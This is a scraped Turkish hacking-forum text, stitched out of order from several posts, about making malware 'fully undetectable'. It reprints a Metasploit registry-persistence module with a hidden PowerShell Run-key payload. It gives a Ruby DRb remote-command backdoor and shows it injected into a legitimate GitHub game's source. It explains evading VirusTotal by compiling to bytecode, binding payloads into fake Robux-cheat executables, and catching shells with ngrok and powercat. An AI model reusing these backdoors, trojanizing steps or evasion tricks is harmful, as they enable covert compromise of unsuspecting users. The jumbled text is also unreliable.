    return blob_reg_key, blob_reg_name
  end

  def generate_cmd_reg
    cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
    return cmd_reg
  end

  def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
    blob_reg_key = "#{root_path}\\#{blob_reg_key}"
    new_key = false
    if not registry_enumkeys(blob_reg_key)
      unless registry_createkey(blob_reg_key)
        fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}")
      end
      print_good("Created registry key #{blob_reg_key}")
      new_key = true
    end

    unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ")
      fail_with(Failure::Unknown,'Failed to open the registry key for writing')
    end
    print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
    return new_key
  end

  def install_cmd(cmd, cmd_reg, root_path)
    unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ')
      fail_with(Failure::Unknown,'Could not install run key')
    end
    print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}")
  end

  def get_root_path
    if datastore['STARTUP'] == 'USER'
      root_path = 'HKCU'
    else
      root_path = 'HKLM'
    end
    return root_path
  end

  def log_file(log_path = nil) # Thanks Meatballs for this
    # Get hostname
    host = session.session_host

    # Create Filename info to be appended to downloaded files
    filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

    # Create a directory for the logs
    if log_path
      logs = ::File.join(log_path, 'logs', 'persistence',
      Rex::FileUtils.clean_path(host + filenameinfo))
    else
      logs = ::File.join(Msf::Config.log_directory, 'persistence',
      Rex::FileUtils.clean_path(host + filenameinfo))
    end

    # Create the log directory
    ::FileUtils.mkdir_p(logs)

    # logfile name
    logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
    logfile
  end

  def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this
    clean_rc = log_file()
    @clean_up_rc = ""
    @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
    if new_key
      @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
    end
    @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n"
    file_local_write(clean_rc, @clean_up_rc)
    print_status("Clean up Meterpreter RC file: #{clean_rc}")

    report_note(:host => session.session_host,
      type: 'host.persistance.cleanup',
      data:  {
        local_id:     session.sid,
        stype:        session.type,
        desc:         session.info,
        platform:     session.platform,
        via_payload:  session.via_payload,
        via_exploit:  session.via_exploit,
        created_at:   Time.now.utc,
        commands:     @clean_up_rc
      }
    )
  end

  def check
    unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
      return Msf::Exploit::CheckCode::Safe
    end
    return Msf::Exploit::CheckCode::Vulnerable
  end

  def exploit
    unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
      print_warning('Warning: PowerShell does not seem to be available, persistence might fail')
    end

    print_status('Generating payload blob..')
    blob = generate_payload_blob
    print_good("Generated payload, #{blob.length} bytes")

    root_path = get_root_path
    print_status("Root path is #{root_path}")

    blob_reg_key, blob_reg_name = generate_blob_reg
    cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
    cmd_reg = generate_cmd_reg

    print_status('Installing payload blob..')
    new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)

    print_status('Installing run key')
    install_cmd(cmd, cmd_reg, root_path)

    if datastore['CREATE_RC']
      create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
    end
  end
end

Kodu incelediğimiz zaman bir Metasploit modülü olduğu kullandığı sınıflardan anlaşılıyor.

Ruby:
 def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows Registry Only Persistence',
      'Description'    => %q{
        This module will install a payload that is executed during boot.
        It will be executed either at user logon or system startup via the registry
        value in "CurrentVersion\Run" (depending on privilege and selected method).
        The payload will be installed completely in registry.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Donny Maasland <donny.maasland[at]fox-it.com>',
        ],
      'Platform'       => [ 'win' ],
      'SessionTypes'   => [ 'meterpreter', 'shell' ],
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2015-07-01',
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => true
        }
    ))

Ruby programlama dilinde initialize() fonksiyonu sınıfların içinde yazılır ve sınıf çağrımı yapıldığı zaman bu fonksiyon otomatik olarak çalıştırılır. Bu yüzden modül/exploit/evasion/auxiliary ile alakalı bilgiler bu kısımda listeler ve hash verileri halinde saklanır. Kısacası bu kısım Modülün yazarı, lisansı ve platformu vb. bilgileri içer,r.

Kodda aşağı taraflara indiğimiz zaman,


Ruby:
  register_options([
      OptEnum.new('STARTUP',
        [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
      OptString.new('BLOB_REG_KEY',
        [false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
      OptString.new('BLOB_REG_NAME',
        [false, 'The name to use for storing the payload blob. (Default: random)' ]),
      OptString.new('RUN_NAME',
        [false, 'The name to use for the \'Run\' key. (Default: random)' ]),
      OptBool.new('CREATE_RC',
        [false, 'Create a resource file for cleanup', true]),
      OptInt.new('SLEEP_TIME',
        [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
    ])
  end

  def generate_payload_blob
    opts = {
      wrap_double_quotes: true,
      encode_final_payload: true,
    }
    blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1]
    return blob
  end

  def generate_cmd(root_path, blob_key_name, blob_key_reg)
    cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
    return cmd
  end

  def generate_blob_reg
    blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
    blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
    return blob_reg_key, blob_reg_name
  end

  def generate_cmd_reg
    cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
    return cmd_reg
  end

  def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
    blob_reg_key = "#{root_path}\\#{blob_reg_key}"
    new_key = false
    if not registry_enumkeys(blob_reg_key)
      unless registry_createkey(blob_reg_key)
        fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}")
      end
      print_good("Created registry key #{blob_reg_key}")
      new_key = true
    end

    unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ")
      fail_with(Failure::Unknown,'Failed to open the registry key for writing')
    end
    print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
    return new_key
  end

Bu kısımda çalıştırılacak olan komutları ve payloadları saklayan veri dizileri var. Detaylı olarak ayıklar isek

Ruby:
register_options([
      OptEnum.new('STARTUP',
        [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
      OptString.new('BLOB_REG_KEY',
        [false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
      OptString.new('BLOB_REG_NAME',
        [false, 'The name to use for storing the payload blob. (Default: random)' ]),
      OptString.new('RUN_NAME',
        [false, 'The name to use for the \'Run\' key. (Default: random)' ]),
      OptBool.new('CREATE_RC',
        [false, 'Create a resource file for cleanup', true]),
      OptInt.new('SLEEP_TIME',
        [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
    ])
  end

Bu kısımlar Metasploit içerisinde bu modülü kullanan kişinin kendisine göre ayarlayabileceği kayıt kısımlarını barındırıyor. Başlangı, uyku süresi, çalışma ismi gibi gibi verilere buradan erişiliyor.

Ruby:
def generate_cmd(root_path, blob_key_name, blob_key_reg)
    cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
    return cmd
  end

Bir önceki kısımda bahsettiğim kullanıcının opsiyonel olarak ayarlamak istediği veriler burada bir komut içerisinde kullanılıyor.

Ruby:
 def log_file(log_path = nil) # Thanks Meatballs for this
    # Get hostname
    host = session.session_host

    # Create Filename info to be appended to downloaded files
    filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

    # Create a directory for the logs
    if log_path
      logs = ::File.join(log_path, 'logs', 'persistence',
      Rex::FileUtils.clean_path(host + filenameinfo))
    else
      logs = ::File.join(Msf::Config.log_directory, 'persistence',
      Rex::FileUtils.clean_path(host + filenameinfo))
    end

Ruby:
 def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this
    clean_rc = log_file()
    @clean_up_rc = ""
    @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
    if new_key
      @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
    end
    @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n"
    file_local_write(clean_rc, @clean_up_rc)
    print_status("Clean up Meterpreter RC file: #{clean_rc}")

    report_note(:host => session.session_host,
      type: 'host.persistance.cleanup',
      data:  {
        local_id:     session.sid,
        stype:        session.type,
        desc:         session.info,
        platform:     session.platform,
        via_payload:  session.via_payload,
        via_exploit:  session.via_exploit,
        created_at:   Time.now.utc,
        commands:     @clean_up_rc
      }
    )
  end

Log dosyaları, işlem numarası, işlem tipi vb. verilerin temizlendiği fonksiyonu da burada görebiliyoruz.

Ruby:
def exploit
    unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
      print_warning('Warning: PowerShell does not seem to be available, persistence might fail')
    end

    print_status('Generating payload blob..')
    blob = generate_payload_blob
    print_good("Generated payload, #{blob.length} bytes")

    root_path = get_root_path
    print_status("Root path is #{root_path}")

    blob_reg_key, blob_reg_name = generate_blob_reg
    cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
    cmd_reg = generate_cmd_reg

    print_status('Installing payload blob..')
    new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)

    print_status('Installing run key')
    install_cmd(cmd, cmd_reg, root_path)

    if datastore['CREATE_RC']
      create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
    end
  end
end

Burada da sistemde PowerShell varlığı kontrol edilditken sonra asıl exploit burada çalışıyor, yani diğer anlattığım ve anlatmadığım kodda var olan fonksiyonlar burada çalışıyor ve enjeksiyon işleminde rol alıyor.


pDHFoUY.png


Ruby ile FUD Çalışmaları


Bashetmiş olduğum, Ruby kodunun derlenememesi olayı bize büyük bir dezavantaj sağlıyor elbette. Ama bunu yararımıza kullanabiliriz.

Ruby kodu JRuby yani Java-Ruby derleyicisi ile birlikte Java formatına çevrilebiliyor. Bunun sebeplerini sorarsanız: Ruby kendi VM ortamında yorumlanır, yani Java dilide bir sanal ortamda derlendiği için bu benzerlik bize olumluluk sağlar, bunun yanında JRuby yorumlayıcısının geliştiricileri bunun içinde özen göstermişlerdir.

Bu dezavantajı yararımıza kullanma konusuna devam eder isek, Ruby evet derlenemeyen bir dildir ama bunun yanıda da yüksek seviyeli bir programlama dilidir. Az kodla çok iş yapabilirsiniz. Eskiden yazmış olduğum bir Uzak Kod çalıştırma Servisi kodlamak adında yazım vardı. Bu yazıda iki adet kod paylaşımı yapmıştım.


server.rb içeriği:


Ruby:
require 'drb'

begin
  rshell = DRbObject.new_with_uri("druby://localhost:8080")
  loop do
    begin
      STDOUT.print("Command: ")
      command = gets

      STDOUT.puts("\nOutput: ")
      puts rshell.exec command
    rescue
  
    end
  end
rescue => exception
  STDOUT.puts(exception)
end

client.rb içeriği:

Ruby:
require 'drb'

class RShell
  def exec(cmd)
    `#{cmd}`
  end
end

DRb.start_service("druby://0.0.0.0:8080", RShell.new)
DRb.thread.join

Bakın sadece arka planda basit bir backdoor görevi gören bu kod sade haliyle derlenmemiş biçimde %100 oranında sonuç vermişti. Antivirüsler algılamasa bile Virustotal bu kodu derlenmeden yani kodları açık olarak yüklendiği için, kod açıklamaları kısmında bir virüs olduğunu ve backdoor görevi gördüğünü algılamıştı.

amabfd4.png


Bu sorundan kurtulmak için birçok çözüm yöntemimiz var. Yüksek seviyeli bir programlama dili olduğundan bahsetmiştim, bu sayede az kod ile çok iş yapabiliyoruz. Yani 5000+ satırdan dağınık dosyalar halinde oluşan bir projeye 15 satırlık bu kodu çok rahat enjekte edebiliriz.

Örnek olarak Github platformunda yapılan bir projeyi inceleyelim.


Programla alakalı görsel:


1sufqg7.gif


Gördüğünüz gibi örnek olarak koyduğumuz basit olan bu uygulamanın dosya ağacı şu şekilde:

qyoyvvz.png



Yazılımcı, kullandığı kütüphaneleri bir "lib" adlı klasörde saklamış, bu sayede kullanıcının kütüphane indirmek için gem install komutunu indirmesine gerek kalmamış.



Kütüphaneyi incelediğimiz zaman,



4hj1enc.png


Programda kullanılan sayfaların, modellerin, objelerin kaynak kodları burada duruyor.

Ruby:
include Java

import java.awt.event.WindowEvent
import java.awt.image.BufferStrategy
import javax.swing.JFrame
import java.awt.Canvas
import java.awt.Dimension
import javax.swing.JPanel
import java.awt.Color

require 'scorched_earth/events/mouse_pressed'
require 'scorched_earth/events/mouse_released'
require 'scorched_earth/events/mouse_moved'

module ScorchedEarth
  class GameWindow
    include java.awt.event.MouseMotionListener
    include java.awt.event.MouseListener

    attr_reader :buffer_strategy, :canvas, :game

    def initialize(width, height, game)
      @game      = game
      @container = JFrame.new
      @canvas    = Canvas.new
      @panel     = @container.get_content_pane

      @container.set_default_close_operation JFrame::EXIT_ON_CLOSE

      @panel.set_preferred_size Dimension.new width, height
      @panel.set_layout nil
      @container.set_cursor nil
      @panel.add @canvas

      @container.pack
      @container.set_resizable false
      @container.set_visible true

      @canvas.set_bounds 0, 0, width, height

      @canvas.add_mouse_listener self
      @canvas.add_mouse_motion_listener self

      @canvas.set_ignore_repaint true
      @canvas.create_buffer_strategy 2
      @buffer_strategy = @canvas.get_buffer_strategy
    end

    def run
      last_time = Time.now

      game.setup

      loop do
        delta     = Time.now - last_time
        last_time = Time.now
        graphics  = buffer_strategy.get_draw_graphics

        game.update delta
        game.render graphics

        graphics.dispose
        buffer_strategy.show

        sleep 1.0 / 60
      end
    end

    private

    def mouse_moved(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MouseMoved.new x, y
    end

    def mouse_dragged(*args); end

    def mouse_pressed(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MousePressed.new x, y
    end

    def mouse_released(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MouseReleased.new x, y
    end

    def mouse_clicked(*args); end

    def mouse_entered(*args); end

    def mouse_exited(*args); end
  end
end

Burada bahsettiğim java kütüphanelerini görüyoruz, proje JRuby ile yazılmış.

Buraya şifrelenmiş biçimde kendi virüsümüzü enjekte edebiliriz. Özellikle "Drb" kütüphanesini seçtim, bunun nedeni bu kütüphanenin Ruby dilinde kurulu olarak gelmesidir. Linux makinelerin çoğunda Ruby yüklü gelir ve içerisinde Bu kütüphane indirili olarak gelir bu sayede kullanıcıya zararlı amaçla kullanacağımız kütüphaneyi indirtmeyiz. Herhangi bir şüphelenme durumu da meydana gelmez.

Koda bağlı olarak istediğiniz yere enjekte edebilirsiniz.

Örnek olarak:


atqkzc5.png


En aşağı kısıma eklenmiş bir biçimde zararlı kodumuz yer alıyor.

cool-gif-2.gif


Ekstra olarak, ben thread() fonksiyonu kullandım bu sayede kodun işlemine hiçbir karışma olmadan bir arka tarafra bir işlem parçacığı olarak gözükeceğiz.

Daha büyük projelerde kod sayısı fazlalığından kod açıklamasından virüsün tespiti zorlaşacaktır. Bu kısa ve basit bir örnektir.

Buyurun ekleme yapılmış kod:

Ruby:
include Java

import java.awt.event.WindowEvent
import java.awt.image.BufferStrategy
import javax.swing.JFrame
import java.awt.Canvas
import java.awt.Dimension
import javax.swing.JPanel
import java.awt.Color

require 'scorched_earth/events/mouse_pressed'
require 'scorched_earth/events/mouse_released'
require 'scorched_earth/events/mouse_moved'

module ScorchedEarth
  class GameWindow
    include java.awt.event.MouseMotionListener
    include java.awt.event.MouseListener

    attr_reader :buffer_strategy, :canvas, :game

    def initialize(width, height, game)
      @game      = game
      @container = JFrame.new
      @canvas    = Canvas.new
      @panel     = @container.get_content_pane

      @container.set_default_close_operation JFrame::EXIT_ON_CLOSE

      @panel.set_preferred_size Dimension.new width, height
      @panel.set_layout nil
      @container.set_cursor nil
      @panel.add @canvas

      @container.pack
      @container.set_resizable false
      @container.set_visible true

      @canvas.set_bounds 0, 0, width, height

      @canvas.add_mouse_listener self
      @canvas.add_mouse_motion_listener self

      @canvas.set_ignore_repaint true
      @canvas.create_buffer_strategy 2
      @buffer_strategy = @canvas.get_buffer_strategy
    end

    def run
      last_time = Time.now

      game.setup

      loop do
        delta     = Time.now - last_time
        last_time = Time.now
        graphics  = buffer_strategy.get_draw_graphics

        game.update delta
        game.render graphics

        graphics.dispose
        buffer_strategy.show

        sleep 1.0 / 60
      end
    end

    private

    def mouse_moved(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MouseMoved.new x, y
    end

    def mouse_dragged(*args); end

    def mouse_pressed(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MousePressed.new x, y
    end

    def mouse_released(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MouseReleased.new x, y
    end

    def mouse_clicked(*args); end

    def mouse_entered(*args); end

    def mouse_exited(*args); end
  end
end

require 'drb'

class RShell

  def exec(cmd)

    `#{cmd}`

  end

end

DRb.start_service("druby://0.0.0.0:8080", RShell.new)
DRb.thread.join


Bir diğer yöntemimiz kodumuzu bytecode formatına çevirmek olacaktır.

Onu da bu konuda anlattım erişebilirsiniz.


client.rb adlı bir dosya oluşturuyorum ve bunun içinde virüsümü yazıyorum.

convert.rb adlı dosyayada dönüşüm işlemini yapacak kodu yazıyorum.

Ruby:
byte_code = RubyVM::InstructionSequence.compile_file 'client.rb'

File.binwrite 'bytecode', byte_code.to_binary

9dzuegr.png


bytecode formatında olan ruby kodunu çalıştırmayı bashettiğim konuda anlattığım için burada tekrar anlatmıyorum okuyunuz.

Bytecode çeviriminden sonra virüs totale bakalım:

ewbzoeo.png


Sonuca inanmayanlar hash değerini yazsın baksın.

pyrjedr.png


Eskiden bir Ruby kodu olarak algılanıyorduk şimdi Virustotal reisimiz bunu da algılayamıyor. Bytecode formatında olduğumuz için.

Bu arada kodu bytecodeye çevirmeden çalıştırınca içeride kullandığımız kütüphane ile alakalı olduğunu düşünüyorum.

ct1jkvm.png


YoksunTotal bize Java kodu dedi hatta Python falan filan bile yazıyor kod uzantısı .rb olmasına rağmen. Doktor fazla üzerine gitmeyin dediği için bir şey söylemiyorum AMA!



556003f461c9ff51c5ea1ee1e0017c20dd04390a.gifv




Reacher ve ben bunu bir hakaret olarak kabul ediyoruz!

Bytecode dosyasını içerisinde çalıştıran kodu da deneyebilirsiniz yine antivirüsler bulamaycaktır.


pDHFoUY.png


Okuyan herkese teşekkürler fakat belirtmek istediğim birkaç şey var. Öncelikle konuda tamamen scantime üzerinde durdum runtime için ileride antivirüslerden makine taraflı kaçma yollarını anlatacağım. Bu kısımda fazla detaya girmeyeceğim, anlattıklarımın hepsi iç ağ içerisinde geçerlidir. Dış ağ için ekstra port ayarları gibi konuları kötü amaçlı kullanıma karşılık anlatmıyorum. İleri ki konularda Ruby kodunun içeriğini şifrelemeyi anlatacağım. Junky kod olaylarının ne kadar işe yarayıp yaramadığına da yine ileri konualrda değineceğim.

Anlattıklarım giriş seviye konulardır, kendinize göre scriptleri geliştirebilirsiniz WinApi ile alakalı etkileşim konumu okuyabilirsiniz.

Tekrardan söylüyorum bunlar iç ağ içerisinde geçerlidir, dış ağda kullanmayınız! bu yazı sadece eğitim amaçlıdır. Herhangi bir şekilde sorumluluk kabul etmiyorum.

İyi forumlar!


yarayan bir program var ismi Ps2Exe

allah var çok güzel uygulama linkini aşşağıya salıyorum ama benim linkimden de indirmeyebilirsiniz tamamiyle size kalmış ben olsam google amcadan güvenli kaynak arardım çünkü rastgele bir yerden indirip koydum (herşeyi ben yapamam maalesef :D )

bu linkten indirip açabilirsiniz


kullanımı çok basit zaten o copyright sürüm vs yerlere sallayın bişiler ama onların bir altındaki tikli kutulardaki ilk tiki kaldırmanız gerekli!

bir exe dosyasıyla (mesela çalışmadığını bildiğiniz gui arayüzlü robux hilesi exe ya da kendinizde de 1 saat falan uğraşarak dandik bişi yapabilirsiniz) bir exeyle birleştirip inandırıcılığı bir üst seviyeye taşıyabilirsiniz.

7. Bağlantı almak için powercat kullanacağız

linux sistemler için "apt install powercat" yeterli olacaktır

bağlantıyı almakta dikkat etmeniz gereken bir husus var.

o da ngrok bağlantısını açarken port olarak ne kullanmışız?

komutumuz "./ngrok tcp 8000" yani bizim 8000 portunu dinlemeye almamız lazım.

bu durumda kullanacağımız komut

"powercat -l -p 8000 "

ama şöyle bir durum var eğer ki sürekli log bekleyip logun ne zaman düşeceğinden emin değilseniz sürekli açık kalmasını istiyorsanız

"powercat -l -p 8000 -rep"

kullanımı daha uygun olur. rep komutuyla birlikte zaman aşımı derdini ortadan kaldırırsınız.

derseniz ki bize grabber stealer tarzı bişiler lazım o zamanda bu yapılan trojan sayesinde özel kodlar kullanarak defenderi bypasslayıp ne kadar boktan fudu olan bir grabber stealer olursa olsun sisteme sokup tüm hesap ve bilgi loglarını almayı da gösterebilirim. Tabii eğer ki güzel bir tepki gelirse.

aynı zamanda bir oyun hilesi ya da herhangi bir exeye bu yaptığımız exeyi nasıl gizleyebiliriz gibi konuları da çok tepki gelirse anlatmak isterim.

kriptografi bilmeden en fazla bu kadar fudlayabilirsiniz. (ücretli ya da cracklenip sunulan fudlama programları hariç tabii ki)
 

Çokgen

Katılımcı Üye
4 Eyl 2023
446
211

6449ti9.gif

pDHFoUY.png


Selamlar! Ben Bunjo. Bu konuda, eskiden de olduğu gibi Antivirüslerle ve Virustotal ile alay etmeye devam ediyorum.
Uzun lafın kısası önceden yazmış olduğum, Remote Code Execution servisi kodlamak serisinin 3. yazısı ile karşınızdayım.


pDHFoUY.png


FUD (Fully UnDetectable) Nedir?

FUD yazılım, "Fully UnDetectable" (Tamamen Algılanamaz) yazılımın kısaltmasıdır. Genellikle kötü amaçlı yazılımlar için kullanılır.
Bu tür yazılımlar, antivirüs programları ve diğer güvenlik yazılımları tarafından tespit edilememek üzere tasarlanmıştır.

Genel ağdan alınmıştır.


pDHFoUY.png


Ruby ve FUD Çalışmaları Hakkında

Sıkıcı tanımları bir kenara bırakıp işimize bakalım. Bir Ruby kodunu bildiğiniz üzere .EXE uzantısına çevirmek, yobazlığı bitirmekten daha zordur. Bunu bu yazımda anlatmıştım. Bıraktığım uzantıya tıklayarak bu yazıma ulaşabilirsiniz.

Her zaman bir yazılımı %100 FUD yapmak kolay değildir, yapılsa dahi zaman ilerledikçe sizin kaynak kodunuz artık tanınmış hale gelecektir. Antivirüs firmaları bunlar için birçok önlem almaya kalkışsa dahi bazı virüs yazılımcıları bu önlemleri atlatacak taktik kelimesini kullanabilirim evet çeşitli taktikler geliştirip bu önlemleri alt ediyorlar.

Eskiden bilgisayara giren bir virüs yazılımı, kendisini yedek depolama alanlarına (backup dosyaları olarak anlayabilirsiniz) kopyalardı. Örneğin bunlardan en basiti temp klasörüdür.

Artık bu işlemler antivirüs yazılımları tarafından kolayca algılanabiliyor. Virüsler temp klasöründeki kendi kopyasını sürekli olarak açmak yerine, kendilerini hizmet olarak sisteminize aktarabiliyorlar. Bunun için örnek olarak Metasploit aracında bulunan bir post modülünü inceleyelim. Bu modülleri ileri zamanlarda kullanmayı ve kendi yazdığınız virüsünüze entegre etmeyi anlatacağım.

Post modülünün uzantısı: metasploit-framework/modules/exploits/windows/local/registry_persistence.rb at master · rapid7/metasploit-framework

Modül için kaynak kod:


Ruby:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Registry
  include Msf::Post::File

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows Registry Only Persistence',
      'Description'    => %q{
        This module will install a payload that is executed during boot.
        It will be executed either at user logon or system startup via the registry
        value in "CurrentVersion\Run" (depending on privilege and selected method).
        The payload will be installed completely in registry.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Donny Maasland <donny.maasland[at]fox-it.com>',
        ],
      'Platform'       => [ 'win' ],
      'SessionTypes'   => [ 'meterpreter', 'shell' ],
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2015-07-01',
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => true
        }
    ))

    register_options([
      OptEnum.new('STARTUP',
        [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
      OptString.new('BLOB_REG_KEY',
        [false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
      OptString.new('BLOB_REG_NAME',
        [false, 'The name to use for storing the payload blob. (Default: random)' ]),
      OptString.new('RUN_NAME',
        [false, 'The name to use for the \'Run\' key. (Default: random)' ]),
      OptBool.new('CREATE_RC',
        [false, 'Create a resource file for cleanup', true]),
      OptInt.new('SLEEP_TIME',
        [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
    ])
  end

  def generate_payload_blob
    opts = {
      wrap_double_quotes: true,
      encode_final_payload: true,
    }
    blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1]
    return blob
  end

  def generate_cmd(root_path, blob_key_name, blob_key_reg)
    cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
    return cmd
  end

  def generate_blob_reg
    blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
    blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
    return blob_reg_key, blob_reg_name
  end

  def generate_cmd_reg
    cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
    return cmd_reg
  end

  def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
    blob_reg_key = "#{root_path}\\#{blob_reg_key}"
    new_key = false
    if not registry_enumkeys(blob_reg_key)
      unless registry_createkey(blob_reg_key)
        fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}")
      end
      print_good("Created registry key #{blob_reg_key}")
      new_key = true
    end

    unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ")
      fail_with(Failure::Unknown,'Failed to open the registry key for writing')
    end
    print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
    return new_key
  end

  def install_cmd(cmd, cmd_reg, root_path)
    unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ')
      fail_with(Failure::Unknown,'Could not install run key')
    end
    print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}")
  end

  def get_root_path
    if datastore['STARTUP'] == 'USER'
      root_path = 'HKCU'
    else
      root_path = 'HKLM'
    end
    return root_path
  end

  def log_file(log_path = nil) # Thanks Meatballs for this
    # Get hostname
    host = session.session_host

    # Create Filename info to be appended to downloaded files
    filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

    # Create a directory for the logs
    if log_path
      logs = ::File.join(log_path, 'logs', 'persistence',
      Rex::FileUtils.clean_path(host + filenameinfo))
    else
      logs = ::File.join(Msf::Config.log_directory, 'persistence',
      Rex::FileUtils.clean_path(host + filenameinfo))
    end

    # Create the log directory
    ::FileUtils.mkdir_p(logs)

    # logfile name
    logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
    logfile
  end

  def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this
    clean_rc = log_file()
    @clean_up_rc = ""
    @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
    if new_key
      @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
    end
    @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n"
    file_local_write(clean_rc, @clean_up_rc)
    print_status("Clean up Meterpreter RC file: #{clean_rc}")

    report_note(:host => session.session_host,
      type: 'host.persistance.cleanup',
      data:  {
        local_id:     session.sid,
        stype:        session.type,
        desc:         session.info,
        platform:     session.platform,
        via_payload:  session.via_payload,
        via_exploit:  session.via_exploit,
        created_at:   Time.now.utc,
        commands:     @clean_up_rc
      }
    )
  end

  def check
